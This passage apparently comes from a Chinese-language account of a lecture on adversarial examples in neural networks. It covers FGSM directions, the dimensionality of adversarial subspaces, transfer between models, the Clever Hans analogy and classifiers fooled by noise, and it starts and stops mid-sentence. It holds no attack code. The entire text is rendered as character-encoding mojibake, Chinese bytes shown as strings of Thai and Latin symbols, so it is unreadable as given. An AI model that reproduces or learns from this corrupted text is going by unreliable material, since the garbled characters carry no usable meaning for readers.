‡ๆณจ็š„ๅˆ†็ฑปๆ˜ฏๆญฃ็กฎ็š„๏ผŒๆˆ‘ไปฌ็”จไธๅŒ็š„้ขœ่‰ฒๆฅ่กจ็คบๆ‰€ๆœ‰ๅ…ถไป–ไธๆญฃ็กฎ็š„ๅˆ†็ฑปใ€‚ไฝ ๅฏไปฅ็œ‹ๅˆฐๅ‡ ไนŽๆ‰€ๆœ‰ๅณ่พน็š„ๅ•ๅ…ƒๆ ผ๏ผŒๅŸบๆœฌไธŠๅทฆๅŠ่พน็š„ๅ›พ็‰‡้ƒฝๆ˜ฏ็™ฝ่‰ฒ็š„๏ผŒ้‚ฃๅฐฑๆ˜ฏ่ฏดๅŸบๆœฌไธŠๅทฆๅŠ่พน็š„ๅ›พ็‰‡้ƒฝๅˆ†ๅฏนไบ†็ฑปใ€‚ๅฝ“ๆˆ‘ไปฌๅพ€ๅณ่พน็œ‹๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐๅŸบๆœฌไธŠๅณๅŠ่พน้ƒฝๆ˜ฏไธๅŒ็š„้ขœ่‰ฒ๏ผŒ่ฟ™ไธชๅทฆๅณไธค่พน็š„ๅˆ†็•Œ็บฟ่ฟ‘ไผผๆ˜ฏ็บฟๆ€ง็š„ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒFGSM่ฏ†ๅˆซไบ†ไธ€ไธชๆ–นๅ‘๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๅœจ่ฟ™ไธชๆ–นๅ‘ไธŠ็š„ๅ†…็งฏๅคง๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅพ—ๅˆฐๅฏนๆŠ—ๆ ทๆœฌ๏ผŒ่ฟ™ๆ ทๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐๅฏนๆŠ—ๆ ทๆœฌๆ˜ฏๅฆ‚ไฝ•ๅญ˜ๅœจๅœจ็บฟๆ€งๅญ็ฉบ้—ด้‡Œ็š„ใ€‚\n\nๅฝ“ๆˆ‘ไปฌ็ฌฌไธ€ๆฌกๅ‘็ŽฐๅฏนๆŠ—ๆ ทๆœฌๆ—ถ๏ผŒๆˆ‘ไปฌไปฅไธบๅฎƒไปฌๅฏ่ƒฝๅญ˜ๅœจๅœจไธ€ไธชๅพˆๅฐ็š„็ฉบ้—ดไธญใ€‚ๅœจ็ฌฌไธ€็ฏ‡่ฎบๆ–‡้‡Œ๏ผŒๆˆ‘ไปฌๅฎž้™…ไธŠ่ง‚ๆต‹ๅˆฐไบ†ๅฎƒไปฌๆœ‰็‚นๅƒๅŸ‹่—ๅœจๅฎžๆ•ฐ้‡Œ็š„ๆœ‰็†ๆ•ฐ๏ผŒๆฏไธชๅฎžๆ•ฐ้™„่ฟ‘้ƒฝๆœ‰ไธ€ไธชๆœ‰็†ๆ•ฐใ€‚ๆˆ‘ไปฌ่ฟ™ๆ ทๆƒณๆ˜ฏๅ› ไธบๆˆ‘ไปฌๅฏไปฅๆ‰พๅˆฐๆฏไธช่ฆ่ฝฝๅ…ฅ็ฝ‘็ปœไธญ็š„ๅนฒๅ‡€ๆ ทๆœฌๆ‰€ๅฏนๅบ”็š„ๅฏนๆŠ—ๆ ทๆœฌใ€‚ๅœจๅšไบ†ๆ›ดๆทฑๅ…ฅ็š„็ ”็ฉถไปฅๅŽ๏ผŒๆˆ‘ไปฌๅ‘็Žฐ<u>ๅ…ถๅฎžๆ˜ฏๆฏไธช็œŸๅฎžๆ ทๆœฌ้ƒฝ้ ่ฟ‘ๆŸไธช็บฟๆ€งๅ†ณ็ญ–่พน็•Œใ€‚ๅฝ“ไฝ ็ฉฟ่ฟ‡่พน็•Œ่ฟ›ๅ…ฅๅฏนๆŠ—ๅญ็ฉบ้—ดไธญ๏ผŒไธ€ๆ—ฆๅฝ“ไฝ ่ฟ›ๅ…ฅๅฏนๆŠ—ๅญ็ฉบ้—ด๏ผŒๆ‰€ๆœ‰ๅ…ถไป–้™„่ฟ‘็š„็‚น้ƒฝๆ˜ฏๅฏนๆŠ—ๆ ทๆœฌ้ƒฝไผš่ขซ้”™่ฏฏๅˆ†็ฑปใ€‚</u>่ฟ™ๅฐฑๆœ‰ๅพˆๅคšๅฎ‰ๅ…จๅฎ‰ๅ…จ้šๆ‚ฃไบ†๏ผŒๅ› ไธบ่ฟ™ๆ„ๅ‘ณ็€<u>ไฝ ๅช่ฆๆŠŠๆ–นๅ‘ๆ‰พๅฏน๏ผŒไฝ ้ƒฝไธ็”จๆ‰พๅˆฐๅ…ทไฝ“็š„็ฉบ้—ดๅๆ ‡๏ผŒไฝ ๅช่ฆๆ‰พๅˆฐไธ€ไธชๆ–นๅ‘๏ผŒไธ€ไธชๅ’Œๆขฏๅบฆๆ–นๅ‘่ƒฝๅฝขๆˆๅพˆๅคง็š„ๅ†…็งฏ็š„ๆ–นๅ‘๏ผŒ็„ถๅŽไฝ ๅช่ฆๅคงๆฆ‚ๆฒฟ็€่ฟ™ไธชๆ–นๅ‘็งปๅŠจไธ€็‚น๏ผŒไฝ ๅฐฑๅฏไปฅๆฌบ้ช—็ฝ‘็ปœๆจกๅž‹ใ€‚</u>\n\n---\n\n![](https://i.loli.net/2018/09/17/5b9f956250f5d.png)\n\n ๆˆ‘ไปฌ่ฟ˜ๅˆฉ็”จๅทฆๅณไธค่พน้‡ๆ–ฐ็ป™ๅฎšๅๆ ‡่ฝดๅพ—ๅˆฐไบ†ไธ€ไธชไบคๅ‰ๅฃ็š„ๆƒ…ๅ†ต๏ผŒๅˆฉ็”จ FGSM๏ผŒๆˆ‘ไปฌๅฏปๆ‰พ็ฌฌไบŒไธชๆ–นๅ‘๏ผŒ่ƒฝๅคŸๅ’Œๆขฏๅบฆๆ–นๅ‘ๅฝขๆˆ่พƒๅคง็š„ๅ†…็งฏ๏ผŒๆˆ‘ไปฌๅฏไปฅๆŠŠไธคไธช่ฝด้ƒฝๅšๆˆๅฏนๆŠ—็š„ใ€‚่ฟ™ๆ ทๆˆ‘ไปฌๅฐฑๅพ—ๅˆฐไบ†็บฟๆ€งๅ†ณ็ญ–่พน็•Œ๏ผŒ่ฟ™ๆ ทไปฅๅŽๅฐฑๆ˜ฏๅฏน่ง’็บฟๆ–นๅ‘่€Œไธๆ˜ฏ็ซ–็›ดๆ–นๅ‘๏ผŒไฝ†ไฝ ๅฏไปฅๆธ…ๆฅšๅœฐ็œ‹ๅˆฐ็กฎๅฎžๆœ‰ไธ€ไธชๅฏไปฅ่ฟ›ๅŽป็š„ไบŒ็ปดๅฏนๆŠ—ๆ ทๆœฌๅญ็ฉบ้—ดใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/17/5b9f961da1029.png)\n\n<u>ๅฏนๆŠ—ๆ ทๆœฌไธๆ˜ฏๅ™ช้Ÿณ</u>๏ผŒ่ฎฐไฝ่ฟ™ไธ€็‚นๅพˆ้‡่ฆใ€‚\n\nไฝ ๅฏไปฅๅฏนๅฏนๆŠ—ๆ ทๆœฌๅŠ ๅพˆๅคšๅ™ช้Ÿณ๏ผŒ่ฎฉๅฎƒไป็„ถไฟๆŒๅฏนๆŠ—็š„ใ€‚ไฝ ๅฏไปฅๅฏนไธ€ไธชๅนฒๅ‡€ๆ ทๆœฌๅŠ ๅพˆๅคšๅ™ช้Ÿณ๏ผŒๅนถไธ”ๅฎƒไป็„ถไฟๆŒๅนฒๅ‡€็š„ใ€‚่ฟ™้‡Œๆˆ‘ไปฌๅšไธ€ไบ›้šๆœบ็š„ไบคๅ‰็‚น๏ผŒไธคไธช่ฝด้ƒฝๆ˜ฏ้šๆœบๅœฐๆŒ‘้€‰ๆ–นๅ‘๏ผŒๅฏไปฅ็œ‹ๅˆฐๅœจ CIFAR-10 ไธŠ๏ผŒๅคง้ƒจๅˆ†็š„ๅ•ๅ…ƒๆ ผๆ˜ฏๅฎŒๅ…จ็™ฝ่‰ฒ็š„๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๅฎƒไปฌไธ€ๅผ€ๅง‹ๆ˜ฏๅˆ†็ฑปๆญฃ็กฎ็š„ใ€‚ๅฝ“ไฝ ๅŠ ไธŠๅ™ชๅฃฐๆ—ถ๏ผŒๅฎƒไปฌไป็„ถๅฏไปฅไฟๆŒๆญฃ็กฎๅˆ†็ฑปใ€‚ๅŒๆ—ถๅฏไปฅ็œ‹ๅˆฐ๏ผŒๆจกๅž‹ๅผ€ๅง‹็Šฏไธ€ไบ›้”™่ฏฏใ€‚ๅ› ไธบ่ฟ™ๆ˜ฏๅœจๆต‹่ฏ•้›†ไธŠๅš็š„ใ€‚ไธ€่ˆฌๆฅ่ฏด๏ผŒๅฆ‚ๆžœไธ€ไธชๆต‹่ฏ•ๆ ทๆœฌๅผ€ๅง‹ๅˆ†็ฑป้”™่ฏฏไบ†๏ผŒๅฎถๅ™ชๅฃฐๅนถไธไผšๆ”นๅ–„ๅˆ†้”™็ฑป็š„ๆƒ…ๅ†ตใ€‚่ฟ™้‡Œๆœ‰ไธ€ไบ›ไพ‹ๅค–๏ผŒๆˆ‘ไปฌๆฅ็œ‹็ฌฌไธ‰่กŒ็ฌฌไธ‰ๅˆ—่ฟ™ไธชๅ•ๅ…ƒๆ ผ๏ผŒๅ™ชๅฃฐ็กฎๅฎžๅฏไปฅ่ฎฉๆจกๅž‹ๅˆ†็ฑป้”™่ฏฏ๏ผŒๅฐคๅ…ถๆ˜ฏๅพˆๅคง็š„ๅ™ชๅฃฐใ€‚่ฟ˜ๆœ‰ๅœจๆœ€ไธŠ้ขไธ€่กŒ๏ผŒๅฏไปฅ็œ‹ๅˆฐๆœ‰ไธ€ไธชๆ ทๆœฌๅœจๆต‹่ฏ•ๆ—ถไธ€ๅผ€ๅง‹ๆ˜ฏๅˆ†็ฑป้”™่ฏฏ็š„๏ผŒไฝ†้”™่ฏฏๅด่ƒฝๅคŸไฝฟๅฎƒ็บ ๆญฃๆˆๆญฃ็กฎๅˆ†็ฑปใ€‚ๅคง้ƒจๅˆ†ๆ—ถๅ€™๏ผŒๅ™ชๅฃฐๅฏนๅˆ†็ฑปๅ†ณ็ญ–็š„ไฝœ็”จๆฏ”่ตทๅฏนๆŠ—ๆ ทๆœฌๆฅ่ฏดๆ˜ฏๅพˆๅฐ็š„ใ€‚่ฟ™้‡Œ๏ผŒๅœจ้ซ˜็ปด็ฉบ้—ดไธญ๏ผŒๅฆ‚ๆžœไฝ ้€‰ไธ€ไธชๅ‚่€ƒๅ‘้‡๏ผŒ็„ถๅŽๅ†้€‰ๆ‹ฉไธ€ไธช้ซ˜็ปด็ฉบ้—ดไธญ็š„้šๆœบๅ‘้‡๏ผŒไปŽๅนณๅ‡ๆ„ไน‰ไธŠๆฅ่ฏด๏ผŒ่ฟ™ไธช้šๅณๅ‘้‡ๅ’Œๅ‚่€ƒๅ‘้‡็š„ๅ†…็งฏๆ˜ฏ 0ใ€‚้‚ฃไนˆๅฆ‚ๆžœไฝ ๆƒณ่ฆๅฏนไฝ ็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅšไธ€้˜ถๆณฐๅ‹’ๅฑ•ๅผ€๏ผŒๅ› ไธบๆณฐๅ‹’ๅฑ•ๅผ€ๅฏไปฅ่ฟ‘ไผผไผฐ่ฎก้šๅณๅ‘้‡ไผšๅฆ‚ไฝ•ๆ”นๅ˜ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒๅฏไปฅ็œ‹ๅˆฐ๏ผŒๅนณๅ‡ไธŠๆฅ่ฏด๏ผŒ้šๆœบๅ‘้‡ๅฏนๆŸๅคฑๅ‡ฝๆ•ฐๆ˜ฏๆฒกๆœ‰ๅฝฑๅ“็š„ใ€‚ไฝ†้€‰ๆ‹ฉ็”จๅฏนๆŠ—ๆ ทๆœฌๆœ€ๅคงๅŒ–ๅ†…็งฏใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/17/5b9f98921bb79.png)\n\nๅœจ่ฟ™ๅผ ๅ›พ้‡Œ๏ผŒๆˆ‘ไปฌๆฅ็œ‹ไบŒ็ปด็š„ๆƒ…ๅ†ตใ€‚ๆœ€่ฟ‘ Stanford ็š„ Florian Tramer ๅฏนๅฏปๆ‰พ<u>็ฉถ็ซŸๅฏนๆŠ—ๆ ทๆœฌๅœจ้‚ป่ฟ‘ๅŒบๅŸŸไธญๅˆฐๅบ•ๆ˜ฏๅคšๅฐ‘็ปด็š„ๅญ็ฉบ้—ด</u>่ฟ™ไธช้—ฎ้ข˜ไบง็”Ÿไบ†ๅพˆๅคง็š„ๅ…ด่ถฃใ€‚็„ถๅŽๆˆ‘ไปฌไธ€่ตทๅ†™ไบ†ไธ€ไธช็ฎ—ๆณ•๏ผŒๅฏไปฅๆ‰พๅˆฐๅ‡ ไธชไธๅŒ็š„ๆญฃไบคๅ‘้‡้ƒฝๅ’Œๆขฏๅบฆๆœ‰ๅพˆๅคง็š„ๅ†…็งฏใ€‚ๅฝ“ๆˆ‘ไปฌๅŒๆ—ถ็œ‹ๅ‡ ไธชไธๅŒ็š„ไบ’็›ธๆญฃไบค็š„ๆ–นๅ‘๏ผŒๅฐฑๅฏไปฅ็”ปๅ‡บไธ€ไธชๅคš้ขไฝ“๏ผŒๅพˆๅคšๅฏนๆŠ—ๆ ทๆœฌ้ƒฝๅญ˜ๅœจๅœจ่ฟ™ไธชๅคš้ขไฝ“้‡Œใ€‚ๆˆ‘ไปฌๅ‘็Žฐไบ†ๅฏนๆŠ—ๅŒบๅŸŸๅนณๅ‡ๆœ‰ 25 ไธช็ปดๅบฆ๏ผŒๅฆ‚ๆžœไฝ ็œ‹ไธๅŒ็š„ๆ ทๆœฌ๏ผŒๅฐฑไผšๆ‰พๅˆฐไธๅŒ็š„ๅฏนๆŠ—ๅŒบๅŸŸ็ปดๆ•ฐใ€‚ไฝ†ๅนณๅ‡ๆฅ่ฏด๏ผŒMNIST ็š„ๅฏนๆŠ—ๅŒบๅŸŸ็ปดๆ•ฐๆ˜ฏ 25ใ€‚\n\nๆœ‰ๆ„ๆ€็š„ๆ˜ฏ๏ผŒ<u>็ปดๆ•ฐๅ…ถๅฎžๆ˜ฏๅœจๅ‘Š่ฏ‰ไฝ ๏ผŒ็”ฑไธ€ไธช้šๆœบๅ™ชๅฃฐๆ‰พๅˆฐไธ€ไธชๅฏนๆŠ—ๆ ทๆœฌ็š„ๅฎนๆ˜“็จ‹ๅบฆ</u>ใ€‚ๅฆ‚ๆžœๆฏไธชๆ–นๅ‘้ƒฝๆ˜ฏๅฏนๆŠ—็š„๏ผŒ้‚ฃไนˆไปปไฝ•็š„ๅ˜ๅŒ–้ƒฝไผšๅฏผ่‡ดๅˆ†็ฑป้”™่ฏฏใ€‚ๅฆ‚ๆžœๅคง้ƒจๅˆ†็š„ๆ–นๅ‘ๆ˜ฏๅฏนๆŠ—็š„๏ผŒ้‚ฃไนˆๅคง้ƒจๅˆ†ๆ—ถๅ€™้šๆœบๆ–นๅ‘ๅฐฑไผšๆ˜ฏๅฏนๆŠ—็š„ใ€‚ๅฆ‚ๆžœๅชๆœ‰ไธ€ไธชๅฏนๆŠ—ๆ–นๅ‘๏ผŒ้‚ฃไนˆไฝ ๅฏนๆ ทๆœฌๅŠ ไธŠไธ€ไธช้šๆœบๅ™ชๅฃฐ๏ผŒ่ฟ™ๆ ทๆ˜ฏๆ— ๆณ•ๆ‰พๅˆฐๆ–นๅ‘็š„ใ€‚25 ็š„่ฏ๏ผŒๅฐฑๆ˜ฏ่ฏดไฝ ่ฟ˜ๆœ‰ไธ€็‚นๅธŒๆœ›่ƒฝๆž„้€ ๅ‡บๆฅใ€‚\n\nๅฆไธ€ไธชๆœ‰ๆ„ๆ€็š„ๅœฐๆ–นๆ˜ฏ๏ผŒ<u>ไธๅŒ็š„ๆจกๅž‹ๅพ€ๅพ€ๅœจ็›ธๅŒ็š„ๅฏนๆŠ—ๆ ทๆœฌไธŠ็Šฏ้”™</u>ใ€‚<u>ๅฏนๆŠ—ๅญ็ฉบ้—ด็š„็ปดๆ•ฐๆ˜ฏๅ’Œ่ฟ็งปๆ€ง่ดจๆฏๆฏ็›ธๅ…ณ็š„ใ€‚ๅญ็ฉบ้—ด็ปดๆ•ฐ่ถŠๅคง๏ผŒ่ฟ™ไธคไธชๆจกๅž‹็š„ๅญ็ฉบ้—ดๅฐฑ่ถŠๅฏ่ƒฝ้‡ๅ </u>ใ€‚ๅฆ‚ๆžœไฝ ๆœ‰ไธคไธชไธๅŒ็š„ๆจกๅž‹้ƒฝๆœ‰ไธ€ไธชๅพˆๅคง็š„ๅฏนๆŠ—ๅญ็ฉบ้—ด๏ผŒๅพˆๅฏ่ƒฝๆŠŠๅฏนๆŠ—ๆ ทๆœฌ่ฟ็งปๅˆฐๅฆไธ€ไธชๆจกๅž‹ไธญๅŽปใ€‚ๅฆ‚ๆžœๅฏนๆŠ—็ฉบ้—ดๅพˆๅฐ๏ผŒ้™ค้žๆ˜ฏๆŸ็ง็ณป็ปŸๆ•ˆๅบ”ไฝฟๅพ—ไธคไธชๆจกๅž‹ๆœ‰ๆฐๅฅฝไธ€ๆ ท็š„ๅญ็ฉบ้—ด๏ผŒๅฆๅˆ™่ฟ็งปๆ ทๆœฌๅฐฑไผšๅพˆ้šพ๏ผŒๅ› ไธบๅญ็ฉบ้—ดๆ˜ฏ้šๆœบ็š„ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/17/5b9f9b3381eca.png)\n\nๅฏนๆŠ—ๆ ทๆœฌ็ ”็ฉถๅญฆ็•Œ็ปๅธธๆ่ตท่ชๆ˜Ž Hans ็š„ๆ•…ไบ‹ใ€‚่ฟ™ๆบไบŽไธ€็ฏ‡ Bob Sturm ๆ‰€่‘—็š„ๅไธบ Clever Hans Clever Algorithms ็š„่ฎบๆ–‡๏ผŒๅ› ไธบ่ชๆ˜Ž็š„ Hans ๆ˜ฏไธ€ไธช้žๅธธไผ˜็ง€็š„ๆฏ”ๅ–ปๆ่ฟฐไบ†ๆœบๅ™จๅญฆไน ็ฎ—ๆณ•ๅˆฐๅบ•ๅ‘็”Ÿไบ†ไป€ไนˆใ€‚่ชๆ˜Ž็š„ Hans ๆ˜ฏไธ€ๅŒน็”Ÿๆดปๅœจ 20 ไธ–็บชๆ—ฉๆœŸ็š„้ฉฌ๏ผŒๅฎƒ็š„ไธปไบบ่ฎญ็ปƒๅฎƒๅš็ฎ—ๆœฏ้ข˜ใ€‚ไฝ ๅฏไปฅ้—ฎๅฎƒ๏ผŒโ€œ่ชๆ˜Ž็š„ Hans๏ผŒไบŒๅŠ ไธ€็ญ‰ไบŽๅ‡ ๅ‘€๏ผŸโ€๏ผŒๅฎƒไผš็”จ่น„ๅญๆฅๅ›ž็ญ”ไฝ ใ€‚ๅกŒไบ†ไธ‰ๆฌกไน‹ๅŽ๏ผŒๆฏไธชไบบ้ƒฝๅผ€ๅง‹ๆฌขๅ‘ผ้ผ“ๆŽŒ๏ผŒ็œ‹่ตทๆฅๅพˆๅ…ดๅฅ‹๏ผŒๅ› ไธบๅฎƒ็œŸ็š„ไผšๅš็ฎ—ๆœฏ้ข˜ใ€‚็„ถ่€Œไบ‹ๅฎžๅ…ถๅฎžๆ˜ฏ๏ผŒๅฎƒๅ…ถๅฎžๅฐฑๆฒกๅญฆ่ฟ‡ๅš็ฎ—ๆœฏ้ข˜๏ผŒไฝ†ๆžๆธ…ๆฅšไบ‹ๅฎž็œŸ็›ธๆ˜ฏๅพˆๅ›ฐ้šพ็š„๏ผŒๅฎƒ็š„ไธปไบบๅนถไธๆ˜ฏๆ•…ๆ„ๆฅๆฌบ้ช—ไปปไฝ•ไบบ๏ผŒๅฎƒ็š„ไธปไบบไนŸ็›ธไฟกๅฎƒ็œŸ็š„่ƒฝ็ฎ—็ฎ—ๆœฏใ€‚ๅ‡่ฎพ Hans ่‡ชๅทฑไนŸไธๆ˜ฏๆ•…ๆ„ๅœจๆ„šๅผ„่ฐ๏ผŒๆœ€ๅŽไธ€ไธชๅฟƒ็†ๅญฆๅฎถๆฅๆฃ€ๆŸฅไบ†๏ผŒๅ‘็Žฐๅฆ‚ๆžœๆŠŠ Hans ่‡ชๅทฑๆ”พๅœจไธ€ไธชๆฒกๆœ‰่ง‚ไผ—็š„ๆˆฟ้—ด้‡Œ๏ผŒ็„ถๅŽไบบๅธฆ็€้ขๅ…ท้—ฎๅฎƒ้—ฎ้ข˜๏ผŒๅฎƒๅนถไธ็Ÿฅ้“ไป€ไนˆๆ—ถๅ€™ๅœไธ‹่ทบ่„š๏ผŒไฝ ๅฏไปฅ้—ฎๅฎƒ๏ผŒโ€œ่ชๆ˜Ž็š„ Hans๏ผŒไธ€ๅŠ ไธ€็ญ‰ไบŽๅ‡ ๅ‘€๏ผŸโ€ไป–ๅฐฑๅผ€ๅง‹ๆ•ฒๆ•ฒๆ•ฒใ€‚ใ€‚ใ€‚ๅนถไธ”ไธ€็›ด็›ฏ็€ไฝ ็š„่„ธ็œ‹๏ผŒ็ญ‰ไฝ ็ป™ๅฎƒไธ€ไธชๅฎƒๅœไธ‹่ทบ่„š็š„ไฟกๅทใ€‚ๅœจ่ฟ™ไธชๆƒ…ๅ†ตไธ‹๏ผŒๆฏไธชไบบ้ƒฝๅŠชๅŠ›ๅœจๅšๆญฃ็กฎ็š„ไบ‹ๆƒ…ใ€‚ๅฝ“ไฝ ้—ฎๅฎƒ็ฎ—ๆœฏ้—ฎ้ข˜ๆ—ถ๏ผŒ่ชๆ˜Ž็š„ Hans ๅชๆ˜ฏๅœจๆƒณๅŠžๆณ•ๆ‹ฟๅˆฐไธปไบบ็ป™ๅฎƒ็š„ๅฅ–ๅŠฑ๏ผŒไธปไบบๅชๆ˜ฏๅœจๅŠชๅŠ›่ฎญ็ปƒๅฎƒๅญฆไผš็ฎ—็ฎ—ๆœฏ๏ผŒๅนถไธ”ๅœจๅ›ž็ญ”ๆญฃ็กฎๆ—ถ็ป™ๅฎƒๅฅ–ๅŠฑ๏ผŒ็ป“ๆžœๅฐฑๆ˜ฏ่ชๆ˜Ž็š„ Hansๆ— ๆ„ไน‹ไธญๆณจๆ„ๅœจไบ†้”™่ฏฏ็š„็บฟ็ดขไธŠ๏ผŒๅฎƒๆณจๆ„ๅˆฐไบ†ไบบไปฌ็š„ๅๅบ”๏ผŒๅ…ถๅฎžๆ˜ฏๅฏไปฅๅธฎๅŠฉๅฎƒๅ›ž็ญ”้—ฎ้ข˜็š„๏ผŒไฝ†่ฟ™ๅนถไธ่ƒฝๆณ›ๅŒ–ๅˆฐๆต‹่ฏ•้›†ไธŠ๏ผŒๅฝ“ไฝ ๆ•…ๆ„ๆŠŠ่ฟ™ไธช็บฟ็ดข้šๅŽปใ€‚ๅฎƒๅฏไปฅ่‡ช็„ถๅœฐๆณ›ๅŒ–ๅˆฐๆœ‰่ง‚ไผ—ๆ—ถๅ€™็š„ๆต‹่ฏ•้›†ไธŠใ€‚\n\n<u>่ฟ™ๅœจๆœบๅ™จๅญฆไน ็ฎ—ๆณ•ไธŠไนŸๆˆ–ๅคšๆˆ–ๅฐ‘ๅœฐไผšๅ‘็”Ÿใ€‚ไบบไปฌๅ‘็Žฐ็บฟๆ€ง็จ‹ๅบฆ้ซ˜็š„ๆจกๅผๅฏไปฅ้€‚ๅบ”่ฎญ็ปƒๆ•ฐๆฎ๏ผŒ็”š่‡ณ่ฟ˜ๅฏไปฅๆณ›ๅŒ–ๅˆฐๆต‹่ฏ•ๆ•ฐๆฎไธŠ๏ผŒๅฎƒไปฌๆŽŒๆกไบ†ๅ’Œ่ฎญ็ปƒๆ•ฐๆฎ็›ธๅŒๅˆ†ๅธƒ็š„้‚ฃไบ›ไพ‹ๅญใ€‚ไฝ†ๅฆ‚ๆžœไฝ ๆขไธ€ไธชๅˆ†ๅธƒๅŽปๆต‹่ฏ•๏ผŒๅฆ‚ๆžœๆœ‰ไธ€ไธชๆถๆ„็š„ๅฏนๆ‰‹ๆ•…ๆ„้€ ไธ€ไธช็”จๆฅๆฌบ้ช—ๆจกๅž‹็š„ๆ ทๆœฌ๏ผŒ้‚ฃไนˆๆจกๅž‹ๅฐฑๅพˆๅฎนๆ˜“่ขซ้ช—ใ€‚</u>\n\n---\n\n![](https://i.loli.net/2018/09/19/5ba24431d9b47.png)\n\nไบ‹ๅฎžไธŠ๏ผŒ็Žฐไปฃๆœบๅ™จๅญฆไน ็ฎ—ๆณ•๏ผŒๅ‡ ไนŽๅค„ๅค„้ƒฝๆ˜ฏ้”™่ฏฏ็š„ใ€‚ๆˆ‘ไปฌๆ„ฟๆ„่ฎคไธบๅคง้ƒจๅˆ†ๆ—ถๅ€™้ƒฝๆ˜ฏๆญฃ็กฎ็š„๏ผŒๆ˜ฏๅ› ไธบๅฝ“ๆˆ‘ไปฌๅœจ่‡ช็„ถ็š„่พ“ๅ…ฅไธŠ่ฟ็ฎ—ๆ—ถ๏ผŒๅฏไปฅๅพ—ๅˆฐๅพˆ้ซ˜็š„ๅ‡†็กฎ็Ž‡ใ€‚ไฝ†ๅฆ‚ๆžœไฝ ๆขๆˆ็œ‹ๆฅ่‡ชไบŽ็‹ฌ็ซ‹ๅŒๅˆ†ๅธƒ็š„ๆต‹่ฏ•้›†็š„ๆ ทๆœฌ็š„ๅ‡†็กฎ็Ž‡ๆ—ถ๏ผŒๅฆ‚ๆžœ็œ‹ RN ไธญๅˆ†็ฑปๆญฃ็กฎ็š„็™พๅˆ†ๆฏ”ๆ—ถ๏ผŒๆˆ‘ไปฌไผšๅ‘็Žฐ๏ผŒๅฎƒๅ‡ ไนŽๅฏนๆ‰€ๆœ‰็š„้ƒฝๅˆ†็ฑป้”™่ฏฏไบ†ใ€‚ๆจกๅž‹ๅชๅœจไธ€ไธชๅพˆ็ช„็š„ๆตๅฝขไธŠๆ•ˆๆžœๅฅฝ๏ผŒ่ฟ™ไธชๆตๅฝขๅฐฑๅœจๆˆ‘ไปฌ็š„่ฎญ็ปƒๆ•ฐๆฎ้™„่ฟ‘ใ€‚\n\nๅœจไธŠ้ข่ฟ™ไธชๅ›พ้‡Œ๏ผŒๆˆ‘ไผšๅฑ•็คบๅ‡ ไธชไธๅŒ็š„้ซ˜ๆ–ฏๅˆ†ๅธƒๅ™ชๅฃฐ๏ผŒๆˆ‘ๆŠŠๅฎƒ่ฟ่กŒๅˆฐ CIFAR-10 ๅˆ†็ฑปๅ™จไธŠ็œ‹็ป“ๆžœใ€‚็”จ็ฒ‰่‰ฒๆก†ๆ ‡ๅ‡บ็š„ๆ˜ฏๅˆ†็ฑปๅ™จ่ง‰ๅพ—้‚ฃ้‡Œๆœ‰็‚นไป€ไนˆไธœ่ฅฟ็š„ๅœฐๆ–นใ€‚ๆˆ‘็ญ‰ไธ‹ๅ›žๆฅๅ†ๆฅ่ฏดๆ˜Ž่ฟ™ๆ„ๅ‘ณ็€ไป€ไนˆใ€‚้ป„่‰ฒๆก†ๆ ‡ๅ‡บ็š„ๅœฐๆ–นๆ˜ฏไธ€ไธช FGSM ๆˆๅŠŸๅœฐ่ฎฉๆจกๅž‹่ฎคไธบ๏ผŒๅฎƒ็œ‹ไธŠๅŽปๆ˜ฏไธ€ๆžถ้ฃžๆœบใ€‚ๆˆ‘้€‰ไบ†้ฃžๆœบ็ฑป๏ผŒๅ› ไธบ่ฟ™ไธชๅˆ†็ฑปๆˆๅŠŸ็Ž‡ๆœ€ไฝŽ็š„ๅ‡ ไธชไน‹ไธ€๏ผŒๅคงๆฆ‚ๆœ‰ 25% ็š„ๆญฃ็กฎ็Ž‡ใ€‚่ฟ™ๆ„ๅ‘ณ็€ๆ”ปๅ‡ป่€…้œ€่ฆๅ››ๆฌกๆœบไผšไฝฟ็”จๅ™ช้Ÿณ่ฎฉๆจกๅž‹ๆŠŠๅฎƒ่ฏฏ่ฎคๆˆ้ฃžๆœบใ€‚ๆœ‰ๆ„ๆ€็š„ๆ˜ฏ๏ผŒๅ’Œ่ชๆ˜Ž็š„ Hans ็š„ๆ•…ไบ‹ๅทฎไธๅคš๏ผŒๆจกๅž‹ๅ‘็Žฐ RN ๅคง็บฆๆœ‰70%็š„ๆฆ‚็Ž‡ๅˆ†็ฑปๆˆ้ฉฌใ€‚\n\nๆˆ‘ๆ่ฟ‡ๆจกๅž‹ไผš่ง‰ๅพ—ๅ™ชๅฃฐๆ˜ฏๅญ˜ๅœจ็š„๏ผŒๆˆ‘ไปฌๅฆ‚ไฝ•ไผฐ่ฎกๅฎƒๅ…ถๅฎžๆ˜ฏๆŒบ้‡่ฆ็š„ใ€‚ๅฆ‚ๆžœไฝ ๆœ‰ไธ€ไธช softmax ๅˆ†็ฑปๅ™จ๏ผŒๅฎƒๅพ—็ป™ไฝ ไธ€ไธชไฝ ่ฎญ็ปƒ็š„ n ไธชไธๅŒ็š„ๅˆ†็ฑป็š„ๅˆ†ๅธƒใ€‚ๆœ‰ไธ€ไบ›ๆ–นๆณ•ๅฏไปฅ็œ‹ๅ‡บๆจกๅž‹ๆ˜ฏๅœจๅ‘Š่ฏ‰ไฝ 